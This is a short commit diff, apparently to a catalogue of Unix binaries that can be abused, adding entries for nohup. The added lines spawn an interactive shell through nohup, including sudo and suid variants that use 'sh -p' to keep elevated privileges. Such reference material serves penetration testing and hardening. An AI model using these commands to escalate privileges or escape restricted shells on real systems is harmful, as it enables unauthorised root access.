Add (suid) shell for nohup

This commit is contained in:
Andrea Cardaci 2020-03-15 12:15:43 +01:00
parent 8eaeb29c18
commit 8b41830d0b

View File

@ -1,13 +1,14 @@
--- ---
functions: functions:
shell:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
command: command:
- code: | - code: |
COMMAND='/usr/bin/id' COMMAND='/usr/bin/id'
nohup "$COMMAND" nohup "$COMMAND"
cat nohup.out cat nohup.out
sudo: sudo:
- code: | - code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
COMMAND='/usr/bin/id' suid:
sudo nohup "$COMMAND" - code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
sudo cat nohup.out
--- ---